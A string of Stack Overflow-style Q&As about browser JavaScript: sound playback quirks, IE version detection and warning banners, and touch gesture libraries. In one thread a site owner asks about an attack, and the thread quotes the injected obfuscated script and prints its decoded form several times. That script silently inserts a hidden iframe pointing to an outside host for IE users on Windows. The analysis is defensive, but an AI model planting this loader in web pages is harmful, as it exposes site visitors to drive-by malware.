I'm currently having problems while playing mp3 files on a website.
I'm using the following code to play an mp3 sound:
function playSound(url){
var userAgent = navigator.userAgent.toLowerCase();
var appVersion = navigator.appVersion.toLowerCase();
var appName = navigator.appName.toLowerCase();
var isOpera = (userAgent.indexOf('opera') != -1);
var isIE = (appName.indexOf('internet explorer') != -1) && !isOpera;
switch(true)
{
case isIE :
$("#soundSpan").html(" <bgsound src='"+url+"' />");
break;
default :
$("#soundSpan").html(" <embed src='"+url+"' type='audio/mpeg' autostart=true repeat=false loop=false hidden=true></embed>");
}
}
This works fine for me and most of the users, but some users are complaining about hearing an echo. Meaning they are hearing the same sound multiple times(more than twice). The sounds are very short varying from 1 to 6 seconds. According to some users the echo is sometimes so bad they can't understand what is being said (the mp3 files are spoken sentences). The echo usually stops after 2-3 seconds.
I'm sure I'm playing the sound only once and the echo has appeared in different browsers.
Does anyone have an idea how this can happen?
You should define case isMozilla : since many browsers are using UserAgent: Mozilla, etc... Not only the firefox browser it self, so if you are using chrome or other kind of OS browsers they might load several cases from your script.
If you're calling playSound in a click handler, could your users be double-clicking? On most browsers, double-click causes two click events to occur (in addition to a dblclick event; example). You might want to build in some hysteresis -- for instance, ignore a second (third, fourth) click on the sound for 500ms after the first click, that sort of thing.
Edit: Example:
var soundsPlayed = {};
function playSound(url){
var userAgent = navigator.userAgent.toLowerCase();
var appVersion = navigator.appVersion.toLowerCase();
var appName = navigator.appName.toLowerCase();
var isOpera = (userAgent.indexOf('opera') != -1);
var isIE = (appName.indexOf('internet explorer') != -1) && !isOpera;
var soundPlayed = soundsPlayed['p:' + url];
var now = new Date().getTime();
// If we haven't played this sound, or we haven't played it in the
// last half-second, go ahead and play it.
if (!soundPlayed || (now - soundPlayed) > 500) {
// Remember when we played it
soundsPlayed['p:' + url] = now;
// Play it
switch(true) // true??
{
case isIE :
$("#soundSpan").html(" <bgsound src='"+url+"' />");
break;
default :
$("#soundSpan").html(" <embed src='"+url+"' type='audio/mpeg' autostart=true repeat=false loop=false hidden=true></embed>");
}
}
}
Related
I'm working on my sandbox game and I started adding some sound effects..
The problem is, that the audio works fine on Edge, but when I'm trying it on chrome or opera the audio for (and only for) dirt starts very low and after few repeated plays of this sound effect it gets on normal sound volume (dirt0.volume always shows 1).. On edge it starts normally loud. Other sound effects are working fine even on chrome but i noticed that the speed of repeating is a lot faster on chrome than on edge.. i din't know why but I want them to be equal on every browser..
I'm loading sound effects normally
like this:
grass0 = new Audio('grass0.wav');
grass1 = new Audio('grass1.wav');
dirt0 = new Audio('dirt0.wav');
dirt1 = new Audio('dirt1.wav');
wood0 = new Audio('wood0.wav');
wood1 = new Audio('wood1.wav');
and then im just playing them by using .play() if none
of the other sound effects are playing.
if(grass0.paused & grass1.paused & dirt0.paused & dirt1.paused & wood0.paused & wood1.paused){
if(blocks[i].id == 1){ //Blok [1]
if(audio[0] == 0){
grass0.play();
audio[0] = 1;
}else{
grass1.play();
audio[0] = 0;
}
}else if(blocks[i].id == 2){ //Blok [2]
if(audio[1] == 0){
dirt0.play();
audio[1] = 1;
}else{
dirt1.play();
audio[1] = 0;
}
}else if(blocks[i].id == 7){ //Blok [7]
if(audio[2] == 0){
wood0.play();
audio[2] = 1;
}else{
wood1.play();
audio[2] = 0;
}
}
}
..
Look at this video for better understanding.
I would like to show my users a bar that looks like this, if:
Browser is not IE; or
Browser is IE but is version 8 or earlier
(Note that the screenshot is just for illustration - IE 9 is supported for my site.)
I found this nice jQuery plugin, but I don't want to use popups.
http://jreject.turnwheel.com/
The site where I will implement this is a Sharepoint 2013 site, so I will use a content editor webpart to include the HTML content you provide and the bar should be at the top of everything else.
Please include CSS if needed to make it look as the screenshot?
HTML
IE 9 and earlier (down to, I think, IE 4) can be identified using conditional comments in HTML.
As #Jost noted, you could use them to warn IE users on IE 8 and earlier, like this:
<!--[if lte IE 8]>
BANNER HERE
<![endif]-->
However, as IE 10 dropped support for these, you can't use them to identify non-IE browsers.
jQuery
jQuery used to include a browser detection module ($.browser), but it was removed in jQuery 1.9. If you can use an earlier version of jQuery (e.g. 1.8.3) or the jQuery Migrate plugin, then you could use this to show the banner.
if ( !$.browser.msie || $.browser.version < 9 ) {
// Add banner to the page here.
}
Browser Detection in general
Please note that browser detection is difficult. New browsers are coming out all the time, so any browser support plugin can rapidly become out of date, as can the premise on which you base your warning messages. jQuery's browser detect was the most consistently maintained, and even they gave up on it in the end.
These days, web developers are generally expected to write code that works cross-browser, and use feature-detection to deal with browsers that don't support the features they want to use.
As you're working on a SharePoint site, presumably it's for internal company use, and the company is Microsoft-centric. It sounds like you're developing the site to work in IE, and ignoring other browsers during development.
If you can reasonably expect most of your users to be on some version of IE, maybe the conditional comment warning is enough.
I found the question interesting. So i worked out a script for myself, but maybe someone else can benefit from it. So that's why I posted it as an answer. It returns an object with browser and OS information.
browser = {};
if (/edge\/[0-9]{2}/i.test(navigator.userAgent)) {
browser.agent = "edge";
browser.majorVersion = parseInt(/edge\/([0-9]{2})/i.exec(navigator.userAgent)[1]);
browser.version = /edge\/([0-9.]+)/i.exec(navigator.userAgent)[1];
} else if (/chrome\/[0-9]{2}/i.test(navigator.userAgent)) {
browser.agent = "chrome";
browser.majorVersion = parseInt(/chrome\/([0-9]{2})/i.exec(navigator.userAgent)[1]);
browser.version = /chrome\/([0-9.]+)/i.exec(navigator.userAgent)[1];
} else if (/firefox\/[0-9]{2}/i.test(navigator.userAgent)) {
browser.agent = "firefox";
browser.majorVersion = parseInt(/firefox\/([0-9]{2})/i.exec(navigator.userAgent)[1]);
browser.version = /firefox\/([0-9.]+)/i.exec(navigator.userAgent)[1];
} else if (/msie\ [0-9]{1}/i.test(navigator.userAgent)) {
browser.agent = "msie";
browser.majorVersion = parseInt(/MSIE\ ([0-9]{1})/i.exec(navigator.userAgent)[1]);
browser.version = /MSIE\ ([0-9.]+)/i.exec(navigator.userAgent)[1];
} else if (/opr\/[0-9]{2}/i.test(navigator.userAgent)) {
browser.agent = "opera";
browser.majorVersion = parseInt(/opr\/([0-9]{2})/i.exec(navigator.userAgent)[1]);
browser.version = /opera\/([0-9.]+)/i.exec(navigator.userAgent)[1];
} else if (/Trident\/[7]{1}/i.test(navigator.userAgent)) {
browser.agent = "msie";
browser.majorVersion = 11;
browser.version = "11";
} else if (/Safari\/[0-9.]+/i.test(navigator.userAgent)) {
browser.agent = "safari";
browser.majorVersion = parseInt(/Version\/([0-9]{2})/i.exec(navigator.userAgent)[1]);
browser.version = /Version\/([0-9.]+)/i.exec(navigator.userAgent)[1];
} else {
browser.agent = false;
browser.majorVersion = false;
browser.version = false;
}
if (/Windows\ NT/.test(navigator.userAgent)) {
browser.os = "windows";
var winver = parseFloat(/Windows\ NT\ ([0-9]{1,2}\.[0-9]{1})/i.exec(navigator.userAgent)[1]);
switch(winver) {
case 6.0:
browser.osversion = "Vista";
break;
case 6.1:
browser.osversion = "7";
break;
case 6.2:
browser.osversion = "8";
break;
case 6.3:
browser.osversion = "8.1";
break;
case 10.0:
browser.osversion = "10";
break;
default:
browser.osversion = false;
}
} else if (/OS\ X\ /.test(navigator.userAgent)) {
browser.os = "os x"; //
browser.osversion = /OS\ X\ [0-9]{2}_([0-9]{1,2})_[0-9]{1,2}/i.exec(navigator.userAgent)[1];
} else if (/(Linux)/.test(navigator.userAgent)) {
browser.os = "linux";
browser.osversion = false;
}
EDIT: This directly answers the OP.
I have updated Dany's answer with two updates tested in (IE 6,7,8,9,10,11), Chrome, and Edge. Primarily because the updates are very hard to read in the comments.
Pure javascript - No jQuery required
IE10 reports IE 10 vs IE 1
This now reports Edge
No specific HTML elements required to pre-exist (other than a body)
Tested in IE6, IE7, IE8, IE9, IE11, Chrome v62, and Edge
TODO: get it working properly in OSX Sierra, and iPhone
The test for edge must be first as it claims to be everything. :/
All this being said Browser detection "is what it is" and we can hope that the need for it will go away soon.
browser = {};
if (/(Edge\/[0-9]{2})/i.test(navigator.userAgent)) {
browser.agent = navigator.userAgent.match(/(Edge\/[0-9]{2})/i)[0].split("/")[0];
browser.version = parseInt(navigator.userAgent.match(/(Edge\/[0-9]{2})/i)[0].split("/")[1]);
} else if (/(chrome\/[0-9]{2})/i.test(navigator.userAgent)) {
browser.agent = navigator.userAgent.match(/(chrome\/[0-9]{2})/i)[0].split("/")[0];
browser.version = parseInt(navigator.userAgent.match(/(chrome\/[0-9]{2})/i)[0].split("/")[1]);
} else if (/(firefox\/[0-9]{2})/i.test(navigator.userAgent)) {
browser.agent = navigator.userAgent.match(/(firefox\/[0-9]{2})/i)[0].split("/")[0];
browser.version = parseInt(navigator.userAgent.match(/(firefox\/[0-9]{2})/i)[0].split("/")[1]);
} else if (/(MSIE\ [0-9]{1})/i.test(navigator.userAgent)) {
browser.agent = navigator.userAgent.match(/(MSIE\ [0-9]{1})/i)[0].split(" ")[0];
browser.version = parseInt(navigator.userAgent.match(/(MSIE\ [0-9]+)/i)[0].split(" ")[1]);
} else if (/(Opera\/[0-9]{1})/i.test(navigator.userAgent)) {
browser.agent = navigator.userAgent.match(/(Opera\/[0-9]{1})/i)[0].split("/")[0];
browser.version = parseInt(navigator.userAgent.match(/(Opera\/[0-9]{1})/i)[0].split("/")[1]);
} else if (/(Trident\/[7]{1})/i.test(navigator.userAgent)) {
browser.agent = "MSIE";
browser.version = 11;
} else {
browser.agent = false;
browser.version = false;
}
if (/(Windows\ NT\ [0-9]{1}\.[0-9]{1})/.test(navigator.userAgent)) {
browser.os = "Windows";
switch (parseFloat(navigator.userAgent.match(/(Windows\ NT\ [0-9]{1}\.[0-9]{1})/)[0].split(" ")[2])) {
case 6.0:
browser.osversion = "Vista";
break;
case 6.1:
browser.osversion = "7";
break;
case 6.2:
browser.osversion = "8";
break;
default:
browser.osversion = false;
}
} else if (/(OS\ X\ [0-9]{2}\.[0-9]{1})/.test(navigator.userAgent)) {
browser.os = "OS X";
browser.osversion = navigator.userAgent.match(/(OS\ X\ [0-9]{2}\.[0-9]{1})/)[0].split(" ")[2];
} else if (/(Linux)/.test(navigator.userAgent)) {
browser.os = "Linux";
browser.osversion = false;
}
if (browser.agent === "MSIE" && browser.version <= 9) {
var newDiv = document.createElement("div");
newDiv.innerHTML = "IE9 is not supported. You are using an UNSUPPORTED version of Internet Explorer.";
newDiv.setAttribute("style", "background-color:yellow;padding:18px;");
document.body.insertBefore(newDiv, document.body.firstChild);
} else { //TODO: Remove for Prod only added to show some flexibility and testing
var newDiv = document.createElement("div");
newDiv.innerHTML = "<b>" + browser.agent + "</b> is <i>so</i> supported. You are using version: " + browser.version + ".";
newDiv.setAttribute("style", "background-color:cyan;padding:12px;");
document.body.insertBefore(newDiv, document.body.firstChild);
}
I like the simple conditional html. (Simpler always seems better.)
Another more comprehensive javascript alert can be found at: http://www.browser-update.org
Checking if browser engine is Trident 6+ (IE 9, 10, 11) should do (demo):
(function () {
var trident = {
string: navigator.userAgent.match(/Trident\/(\d+)/)
};
trident.version = trident.string ? parseInt(trident.string[1], 10) : null;
if (!trident.string || trident.version < 6) {
document.body.innerHTML = '<div class="alert">Not supported.</div>' +
document.body.innerHTML;
}
})();
However, the sniffing may break in IE 11 final or future versions if Microsoft will decide to change userAgent string.
You could use conditional compiling in conjunction with conditional comments
Here a short overview of how this could work.
Always show the bar
Set a flag in javascript. IEMinor=false
Set the flag to true if IE <= 9, by using a script tag and conditional comments
Use conditional compiling to hide the bar if #_jscript_version > 9 (actually not needed) and IEMinor===false
<div id="bar"><center>Not Supported</center></div>
<script>
var IEMinor = false;
</script>
<!-- [if lte IE 9] -->
<script>var IEMinor = true</script>
<!-- <![endif] -->
<script>
/*#cc_on #*/
/*#if (#_jscript_version > 9)
if (!IEMinor)
document.getElementById("bar").style.display = "none";
/*#end #*/
</script>
I was too lazy to add the script type...
Here is an example on JSBin which doesn't show the bar in IE 10+ (untested). And shows it in other cases.
Note: I didn't make it look exactly like in the screenshot, you should get that part working
Edit: Using the browsermode of IE to test against IE<10 seems to work
Edit2: Whoops i thought from the picture IE9 is unsupported too, to allow IE9 change lte IE 9 to lt IE 9 and #_jscript_version > 9 to >= 9
Actually in SharePoint (OP mentioned that) there is a built-in variable browseris. It's available in the global window scope. Answering OP question:
Browser is not IE;
use browseris.ie
Browser is IE but is version 8 or earlier
use browseris.ie8down
(tested in SP2013 on-prem)
This is tested for IE 10 and 11. Head on to this link for more description.
<div id="noSupport"></div>
<script>
function isIE() {
return /Trident\/|MSIE/.test(window.navigator.userAgent); // IE 10 and IE 11
}
if (isIE()) {
document.getElementById('noSupport').innerHTML = 'IE not supported'
}
</script>
check this code, its working as expected.
if (navigator.userAgent.includes('Trident')) {
alert('This site is not supported by your Internet Explorer, please use Microsoft Edge or Google Chrome.');
}
I don't suggest you to use client side as some browsers might trick you by passing wrong values to pass website tests.
So i guess your using PHP as a server side you can detect the browser using the get_browser() function that give you a lot of information about the browser here is a nice turtoeial:
Part 1:
http://thenewboston.org/watch.php?cat=11&number=67
Part 2:
http://thenewboston.org/watch.php?cat=11&number=68
if your using another language all server side language has this functunality just google it or reference some sort of a turtorial
From the client side you can detect if it is compatible like that:
function Is_Compatible(){
var browser = navigator.appName;
var Fvar = document.getElementById('test').style.borderRadius;
if(browser !== 'Microsoft Internet Explorer'){
return false;
}
if(Fvar == undefined){
//Not IE9+
return false;
}else{
//Is IE9+
return true;
}
}
if(Is_Compatible() == true){
alert('Compatible');
}else{
alert('uncompatible');
}
HTML:
<div style="border-radius:20px;opacity:0;z-index:-500;" id="test"></div><!--It willl not inflect your design-->
FIDDLE:
Test it and it works:
http://jsfiddle.net/Z7fvb/
i have been experimenting with javascript gesture libraries. They all work great with the iPad mini, however, when I try them on my Samsung Galaxy Tab (GT-P7510, Android 4.04), the results are at best intermittent.
The best results I get are in portrait mode. In landscape mode, virtually nothing works.
I have tried, amongst others, the following libraries, all of which I found from this post: http://www.queness.com/post/11755/11-multi-touch-and-touch-events-javascript-libraries
hammer.js
quo.js
touchy
doubletap
jgestures
touchswipe
Touchswipe worked best, but all the others just didn't really play ball.
The Hammer page has a demo, which works fine on the ipad but not the android:
http://eightmedia.github.com/hammer.js/
So, does anybody know of any way I can get swipe gestures to play nice on my galaxy?
I have viewed the quirksmode page that a previous stackoverflow question pointed to, but that was out of date and no longer maintained, from what I could see. Also, it didn't actually mention any libraries.
I had good luck with this one:
https://github.com/HotStudio/touchy
It has long-press, pinch, rotate, and swipe gestures, and the code is fairly easy to customize.
Note that the combinations of gestures need to be handled-- for example, a swipe will almost always trigger a long touch as well, so you have to set flags or otherwise handle that.
Here is a CodePen gesture compare tool. http://jsfiddle.net/icoxfog417/uQBvP/
We abandon Hammer.JS after extensive work and moved to Quo which we are finding ok. Things may have changed and be different now.
document.head.insertAdjacentHTML( 'beforeEnd', '<meta name="viewport" content="target-densitydpi=device-dpi,width=device-width,initial-scale=1.0" />' );
$(function(){
//initialization
$(".detector").bind("click touchstart",function(e){
$(".detector").removeClass("selected");
$(this).addClass("selected");
unbindLibrary();
bindLibrary($(this).prop("id"));
});
//bind library to gesture pad
bindLibrary = function(id){
var $pad = $("#gesture-pad");
var events = [];
var eventStr = "";
$("#" + id + "List li").each(function(){
events.push($(this).text());
})
//make target event list from each library's gestureList
eventStr = events.join(" ");
switch(id){
case "hammer":
hammer = Hammer($pad.get(0), {
prevent_default: true
})
.on(eventStr, logEvent);
break;
case "quojs":
for(var i = 0;i<events.length;i++){
$$("#gesture-pad").on(events[i], logEvent);
}
$$("#gesture-pad").on("touchstart",function(e){
e.preventDefault();
});
break;
case "touchSwipe":
var options = {};
var touchSwipeHandler = function(name){
if(name.indexOf("pinch") < 0){
return function(event, distance, duration, fingerCount){
var e = {}; e["type"] = name; logEvent(e);
};
}else{
return function(e, direction, distance, d, f, pinchZoom){
var e = {}; e["type"] = name; logEvent(e);
};
}
};
for(var i = 0;i<events.length;i++){
options[events[i]] = new touchSwipeHandler(events[i]);
}
$pad.swipe(options);
break;
case "touchy" :
var handler = function(name){
return function(event, phase, $target, data){
var e = {}; e["type"] = name; logEvent(e);
}
}
for(var i = 0;i<events.length;i++){
$pad.bind(events[i],new handler(events[i]));
}
break;
}
}
//unbind library from gesture pad
unbindLibrary = function(){
var element = $("#gesture-pad").clone();
$("#gesture-pad").replaceWith(element);
$(".gesturelist .selected").removeClass("selected");
}
//log detected gesture
logEvent = function(e){
$("#detected").text(e.type);
var selected = $(".detector.selected").prop("id");
$("#" + selected + "List li").each(function(){
if($(this).text() == e.type){
$(this).addClass("selected");
`enter code here` };
})
return false;
}
$(".detector").first().addClass("selected");
bindLibrary($(".detector.selected").prop("id"));
})
I know this is an old question, but I tried several libraries and wasn't happy with any of them, so rolled my own. It's MIT licensed and available at
https://github.com/aerik/GestureListener.js
with a test / demo page at
http://aerik.github.io/GestureListener/example.htm
I use it routinely on my Galaxy S4 phone, a couple of Ipads, and several Windows 8 touchscreen devices. We are using it for production software at work.
Bug reports (with examples) welcome.
Recently I was the victim of a web attack, which seemed to take various PHP server vars, then forward them to an attackers website. (IPs of visitor/website, referrer, useragent etc, etc.) Then it would get the file it sent the URL request to, and echo() it to source.
I know you get MANY of these sort of requests (Mostly as poor man XSS attempts), but I would really appreciate some help here, as I don't have much experience with JS. It took me several hours of PHP unscrambling to figure at what it did, and after passing some dummy info, it returned this (which was being echoed into source)
<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{}))
Thank you for your time and patience with this matter.
Simply replace eval with alert.
It yields the following:
function MakeFrameEx(){
element=document.getElementById('yahoo_api');
if(!element){
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1
&&ua.indexOf("opera")==-1
&&ua.indexOf("webtv")==-1))
&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500);
}
After doing the alert() CTRL+C the dialog to get the contents, then use a JS Beautifier to get some readable code.
Also note that for some browsers, like Firefox, there are plugins to do this automatically. Some browsers even does this automatically (MSIE).
This was some obfuscated code. I deobfuscated it and this is what it does:
function MakeFrameEx() {
element = document.getElementById('yahoo_api');
if (!element) {
var el = document.createElement('iframe');
document.body.appendChild(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src = 'http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua
.indexOf("webtv") == -1))
&& ua.indexOf("windows") != -1) {
var t = setTimeout("MakeFrameEx()", 500)
}
Here is the deobfuscated JavaScript code:
function MakeFrameEx()
{
element=document.getElementById('yahoo_api');
if(!element)
{
var el=document.createElement('iframe');
document.body.appendChild(el);
el.id='yahoo_api';
el.style.width='1px';
el.style.height='1px';
el.style.display='none';
el.src='http://asso.25u.com/showthread.php?t=72291731'
}
}
var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1)
{
var t=setTimeout("MakeFrameEx()",500)}
I'm using the following script for onmouseover sound effects on menu buttons on a site.
<script LANGUAGE="JavaScript"><!--
var aySound = new Array();
aySound[0] = "s.mp3";
document.write('<BGSOUND ID="auIEContainer">')
IE = (navigator.appVersion.indexOf("MSIE")!=-1 && document.all)? 1:0;
NS = (navigator.appName=="Netscape" && navigator.plugins["LiveAudio"])? 1:0;
ver4 = IE||NS? 1:0;
onload=auPreload;
function auPreload() {
if (!ver4) return;
if (NS) auEmb = new Layer(0,window);
else {
Str = "<DIV ID='auEmb' STYLE='position:absolute;'></DIV>";
document.body.insertAdjacentHTML("BeforeEnd",Str);
}
var Str = '';
for (i=0;i<aySound.length;i++)
Str += "<EMBED SRC='"+aySound[i]+"' AUTOSTART='FALSE' HIDDEN='TRUE'>"
if (IE) auEmb.innerHTML = Str;
else {
auEmb.document.open();
auEmb.document.write(Str);
auEmb.document.close();
}
auCon = IE? document.all.auIEContainer:auEmb;
auCon.control = auCtrl;
}
function auCtrl(whSound,play) {
if (IE) this.src = play? aySound[whSound]:'';
else eval("this.document.embeds[whSound]." + (play? "play()":"stop()"))
}
function playSound(whSound) { if (window.auCon) auCon.control(whSound,true); }
function stopSound(whSound) { if (window.auCon) auCon.control(whSound,false); }
//-->
</script>
This works fine in IE but not Firefox.
Does anybody know if there is way to have the same onmouseover sound effect in both IE and Firefox without using flash?
Thanks
The only way for sound on your website is to use either flash or whatever Facebook uses for incoming IM, but that too requires Apple Quicktime to play.
Does anybody know if there is way to have the same onmouseover sound effect in both IE and Firefox without using Flash?
Well, you could use a JavaScript library which normalizes cross-browser onmouseover behaviors. Or, if you really don’t want to — it should be possible in plain ol’ JavaScript, with a lot of hacks to support all different browsers. Your choice.
As posted in gist 243946, here’s a jQuery snippet to do exactly what you want:
var $sound = $('<div id="sound" />').appendTo('body');
$('#special-links-that-play-annoying-sounds-when-hovered a').hover(function() {
$sound.html('<embed src="foo.mp3" hidden="true" autostart="true" loop="false">');
}, function() {
// We could empty the innerHTML of $sound here, but that would only slow things down.
});
Of course, this could be written in plain old JavaScript (without jQuery) as well.